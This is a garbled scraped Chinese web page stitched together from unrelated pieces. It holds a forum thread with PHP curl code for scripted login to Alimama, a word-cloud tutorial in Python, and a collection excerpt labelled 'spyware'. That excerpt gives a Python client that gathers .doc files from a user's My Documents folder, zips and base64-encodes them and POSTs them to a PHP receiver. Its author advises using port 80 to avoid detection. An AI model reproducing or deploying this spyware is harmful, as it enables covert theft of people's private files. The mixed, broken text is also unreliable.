Pythonphp改代码无效改phpphp改代码无效

有朋友可以帮忙用PHP翻译一段PYTHON代码吗?
我的图书馆
有朋友可以帮忙用PHP翻译一段PYTHON代码吗?
01:00:13 +08:00, 1729 次点击
中的python模拟登陆阿里妈妈的代码,哪位朋友可以帮翻译为php或者指出我翻译的哪儿有问题吗?我翻译成(不过无法登陆):&?phpfunction g($url){ $ch = curl_init(); curl_setopt($ch,CURLOPT_URL, $url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER ['HTTP_USER_AGENT'] ); //curl_setopt($ch,CURLOPT_HTTPHEADER, $header); $content=curl_exec($ch); $pattern="/input name='_tb_token_' type='hidden' value='([a-zA-Z0-9]+)'/"; $aaa=preg_match($pattern,$content,$v); return trim($v[1]);}$url='/member/minilogin_act.htm';$ref='/member/minilogin.htm';$data['logname']='';$data['originalLogpasswd']='';$data['logpasswd']='';$data['style']='';$data['redirect']='';$data['proxy']='';$data['_tb_token_']=g($ref);$fields=http_build_query($data);$cookie_file="d:\cookie.txt";$ch = curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER ['HTTP_USER_AGENT'] );curl_setopt($ch,CURLOPT_REFERER,$ref);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$fields);curl_setopt($ch,CURLOPT_COOKIEJAR,$cookie_file);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);curl_setopt($ch,CURLOPT_HEADER,0);$str=curl_exec($ch);curl_close($ch);
8 回复 &| &直到
11:14:47 +08:00
& & 01:15:00 +08:00 via Android
同求。研究这个好久了。py源代码能过,php过不去。
& & 03:01:36 +08:00 & ? 2
不会python,不过可以帮你写一个php的。你没理解_tb_token_是怎么验证的,那个正则好像也错了。处理https的方式也不对。&?php$ua=$_SERVER['HTTP_USER_AGENT'];$cookie_file = 'cookie.txt';';$password='password';$ch = curl_init('/member/minilogin.htm');curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);$contents=curl_exec($ch);curl_close($ch);$arr=explode("&input name='_tb_token_' type='hidden' value='",$contents);$arr1=explode("'&",$arr[1]); $token=$arr1[0]; //不会写正则。so 拆数组。$data['logname']=$$data['originalLogpasswd']=$$data['logpasswd']=md5($data['originalLogpasswd']);$data['style']='';$data['redirect']='';$data['proxy']='';$data['_tb_token_']=$$post_fields=http_build_query($data);$ch = curl_init('/member/minilogin_act.htm');curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$contents=curl_exec($ch);curl_close($ch);//已经登上了,带上cookie即可访问登录后页面//输出登录后的阿里妈妈首页$ch = curl_init('/index.htm');curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);$contents=curl_exec($ch);curl_close($ch);echo $?&
& & 09:57:34 +08:00
@ 非常感谢
& & 10:51:52 +08:00
给出报价是最靠谱的做法。
& & 10:54:25 +08:00
@ 请问你那边测试在阿里妈妈新改版后能获取到除“/index.htm”页面外的内容吗?比如:“/index.htm?spm=0.0.0.0.YhtHLr#!/promo/self/items”
& & 10:59:12 +08:00
@ 这个主要是以学习为主,自己费了半天劲搞不出来,想知道下原因。买来这个东西也快不能用了,阿里妈妈最近会全部统一为用淘宝帐号登陆
& & 11:06:17 +08:00
@ 你要认为别人应该为免费你调试程序,这我也没什么好说的了。
& & 11:14:47 +08:00
@ 不知如何说这个问题,我从来没认为人们应该要做什么,你非要这样理解,我也没什么好说的。
馆藏&22503
TA的最新馆藏python 间谍程序传输文件改进版 PHP作服务端
1、作为间谍程序,自己开2000端口,很容易被发现,应该走80端口
2、用作服务端比用python直接IP开server socket 简单,自然且稳定一点(也就一点啦)
server.php
function unzip_file($file, $destination){
//php.ini 中 的extension=php_zip.dll 要解注释
$zip = new ZipArchive() ;
if ($zip-&open($file) !== TRUE) {
die ('Could not open archive');
$zip-&extractTo($destination);
$zip-&close();
echo 'ok'.&&br/&&;
$path = iconv(&UTF-8&,&gb2312&,&C:\\Documents and Settings\\Administrator\\桌面&);
$filename = $path +&\\out.zip&;
echo $filename.&&br/&&;
$fp = fopen($filename,&wb&);
$encode_data = file_get_contents(&php://input&);
$decode_data = base64_decode($encode_data);
fwrite($fp,$decode_data);
unzip_file($filename,$path);
echo &finished!&.&&br/&&
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import time
import zipfile
import codecs
import base64
import urllib2,urllib,httplib
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def post_data(data,HOST,PORT):
conn = httplib.HTTPConnection(HOST,PORT)
conn.request('POST','/server.php',data,{})
response = conn.getresponse()
resdata = response.read()
print response
def main():
HOST = '127.0.0.1'
BUF_SIZE = 65535
key = 'ouyang'
dicName = &C:\Documents and Settings\Administrator\我的文档&
extName = '.doc'
#遍历搜索我的文档的doc类型
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print &文件处理错误: & % e
sys.exit(-1)
#压缩成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2进制
encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
tmpfile = open('in.tmp','rb')
post_data(tmpfile.read(),HOST,PORT)
tmpfile.close()
#后续处理 删除中间文件
os.remove('in.tmp')
if __name__=='__main__': &
& & main() &2016年四月
2016年二月
2015年十月
2015年七月
2015年六月
2015年五月
2015年一月
2014年一月
2013年十月
2013年九月
2013年八月
2013年二月
2013年一月
2012年十二月
2012年十一月
2012年五月
2012年四月
2012年三月
2012年一月
2011年十一月
2011年九月
2011年八月
2011年七月
2011年三月
2011年一月
2010年十二月
2010年十一月
2010年十月
2010年九月
2010年八月
2010年七月
2010年六月
2010年五月
2010年四月
2010年三月
2010年二月
2010年一月
2009年十二月
2009年十一月
2009年十月
2009年九月
2009年七月
2009年六月
2009年五月
2009年四月
2009年三月
2009年一月
2008年十二月
2008年十一月
2008年六月
2008年四月
2008年三月
2008年二月
2008年一月
2007年十二月
2007年十一月
2007年九月
2007年八月
2007年六月
2007年五月
2007年四月
2007年三月
2007年二月
2007年一月
2006年十二月
2006年十一月
2006年十月
2006年九月
2006年八月
2006年七月
2006年六月
1月 26, 2008
10月 16, 2006
3月 3, 2007
6月 17, 2010
2月 1, 2008
1月 17, 2008
1月 4, 2008
4月 22, 2007
3月 18, 2007
10月 22, 2006
4月 10, 2016
4月 7, 2016
2月 4, 2016
2月 3, 2016
10月 27, 2015
7月 27, 2015
7月 8, 2015
6月 2, 2015
5月 5, 2015
1月 5, 2015
Max Sky on
kkkshilao on
新用户269761 on
problem is noting on
多谢楼主,
jiangjunzhangjiushiwo on
tongkong on
eternalphane on
莿鸟栖草堂 由
创作,采用 进行许>可。基于上的作品创作。后使用快捷导航没有帐号?
10行Python代码的词云
时间: 09:15
阅读数:151
作者:老曹
摘要:词云又叫文字云,是对文本数据中出现频率较高的“关键词”在视觉上的突出呈现,形成关键词的渲染形成类似云一样的彩色图片,从而一眼就可以领略文本数据的主要表达意思。 ... ...
什么是词云呢?词云又叫文字云,是对文本数据中出现频率较高的“关键词”在视觉上的突出呈现,形成关键词的渲染形成类似云一样的彩色图片,从而一眼就可以领略文本数据的主要表达意思。现在,可以从网络上找到各种各样的词云,下面一图来自沈浩老师的微博:&从百度图片中还可以可以看到更多制作好的词云,部分截图如下:词云制作有很多工具.....从技术上来看,词云是一种有趣的数据可视化方法,互联网上有很多现成的工具:Wordle是一个用于从文本生成词云图而提供的游戏工具Tagxedo 可以在线制作个性化词云Tagul 是一个 Web 服务,同样可以创建华丽的词云Tagcrowd 还可以输入web的url,直接生成某个网页的词云......十行代码但是作为一个老码农,还是喜欢自己用代码生成自己的词云,复杂么?需要很长时间么? 很多文字都介绍过各种的方法,但实际上只需要10行python代码即可。&import matplotlib.pyplot as plt
from wordcloud import WordCloud
import jieba
text_from_file_with_apath = open('/Users/hecom/23tips.txt').read()
wordlist_after_jieba = jieba.cut(text_from_file_with_apath, cut_all = True)
wl_space_split = " ".join(wordlist_after_jieba)
my_wordcloud = WordCloud().generate(wl_space_split)
plt.imshow(my_wordcloud)
plt.axis("off")
plt.show()如此而已,生成的一个词云是这样的:&读一下这10行代码:1~3 行,分别导入了画图的库matplotlib,词云生成库wordcloud 和 jieba的分词库;4 行,是读取本地的文件,代码中使用的文本是本公众号中的《老曹眼中研发管理二三事》。5~6 行,使用jieba进行分词,并对分词的结果以空格隔开;7行,对分词后的文本生成词云;8~10行,用pyplot展示词云图。这是我喜欢python的一个原因吧,简洁明快。执行环境如果这十行代码没有运行起来,需要检查自己的执行环境了。对于完整的开发学习环境,可以参考本公众号《老曹眼中的开发学习环境》。 对于面向python 的数据分析而言,个人喜欢Anaconda,可以去https://www.continuum.io/downloads/ 下载安装,安装成功后的运行界面如下:&anaconda 是python 数据爱好者的福音吧。安装wordcloud 和 jieba 两个库同样非常简单:&pip install wordcloud
pip install jieba遇到的一个小坑,刚开始运行这十行代码的时候,只显式了若干彩色的小矩形框,中文词语显式不出来,以为是万恶的UTF8问题,debug一下,发现print 结巴分词的结果是可以显示中文的,那就是wordcloud 生成词语的字体库问题了。开源的好处来了,直接进入wordcloud.py 的源码,找字体库相关的代码FONT_PATH = os.environ.get("FONT_PATH", os.path.join(os.path.dirname(__file__), "DroidSansMono.ttf"))wordcloud 默认使用了DroidSansMono.ttf 字体库,改一下换成一个支持中文的ttf 字库, 重新运行一下这十行代码,就可以了。当然,解读代码后有更优雅的方法。看一下源码既然进入了源码,就会忍不住好奇心,浏览一下wordcloud 的实现过程和方式吧。wordcloud.py总共不过600多行,其间有着大量的注释,读起来很方便。其中用到了较多的库,常见的random,os,sys,re(正则)和可爱的numpy,还采用了PIL绘图,估计一些人又会遇到安装PIL的那些坑。生成词云的原理其实并不复杂,大体分成5步:对文本数据进行分词,也是众多NLP文本处理的第一步,对于wordcloud中的process_text()方法,主要是停词的处理计算每个词在文本中出现的频率,生成一个哈希表。词频计算相当于各种分布式计算平台的第一案例wordcount, 和各种语言的hello world 程序具有相同的地位了,呵呵。根据词频的数值按比例生成一个图片的布局,类IntegralOccupancyMap 是该词云的算法所在,是词云的数据可视化方式的核心。将词按对应的词频在词云布局图上生成图片,核心方法是generate_from_frequencies,不论是generate()还是generate_from_text()都最终到generate_from_frequencies完成词云上各词的着色,默认是随机着色词语的各种增强功能大都可以通过wordcloud的构造函数实现,里面提供了22个参数,还可以自行扩展。更多的小例子看看一个准文言文的词云,文本文字来自本公众号去年的旧文——《妻》,其中在构造函数中传入了关于屏幕和字体大小的几个参数:width=800,height=400,max_font_size=84,min_font_size=16得到了这样的词云图:自惭形秽,根本看不出文言文的色彩和对妻子的感情流露,不是好文字呀!或许是词云的局限吧!矩形的词云的确太简陋了,直接在图片上用词云来填充就有意思多了,wordcloud中可以采用mask的方式来实现。换上一张自己的照片,用《再谈&全栈架构师&一文》中的文字,词云出来的效果是这样的 :还是很难看出肖像的轮廓,还好,可以遮丑。其中增加了3行代码from PIL import Image
import numpy as np
abel_mask = np.array(Image.open("/Users/hecom/chw.png"))在构造函数的时候,将mask传递进去即可:background_color="black", mask=abel_mask自己做的这些词云图片还是太陋,这就是原型简单,好的产品困难呀!做好一个漂亮词云的图片,还是要在诸多细节上下功夫的。例如:&分词的处理,“就是”这样没有意义的词不应该出现在词云里呀?所展示关键词的目的性选择?&如何选择一个合适的字库?&如何更好地自主着色?&图片的预处理,如何让图片和词云表达原图片的主要特征?&......词云的背后词云的背后实际上是数据集成处理的典型过程,我们所熟知的6C,如下图:Connect: 目标是从各种各样数据源选择数据,数据源会提供APIs,输入格式,数据采集的速率,和提供者的限制.Correct: 聚焦于数据转移以便于进一步处理,同时保证维护数据的质量和一致性Collect: 数据存储在哪,用什么格式,方便后面阶段的组装和消费Compose: 集中关注如何对已采集的各种数据集的混搭, 丰富这些信息能够构建一个引入入胜的数据驱动产品。Consume: 关注数据的使用、渲染以及如何使正确的数据在正确的时间达到正确的效果。Control: 这是随着数据、组织、参与者的增长,需要的第六个附加步骤,它保证了数据的管控。?这十行代码构建的词云,没有通过API从公众号(wireless_com)直接获取,简化和抽象是工程化的典型方式,这里至今复制粘贴,甚至省略了correct的过程,直接将数据存储在纯文本文件中,通过jieba分词进行处理即compose,使用词云生成可视化图片用于消费consume,把一个个自己生成的词云组织到不同的文件目录便于检索算是初步的管控control吧。参考网站https://www.continuum.io/fxsjy/jieba/amueller/word_cloud

我要回帖

更多关于 html代码学习 的文章

 

随机推荐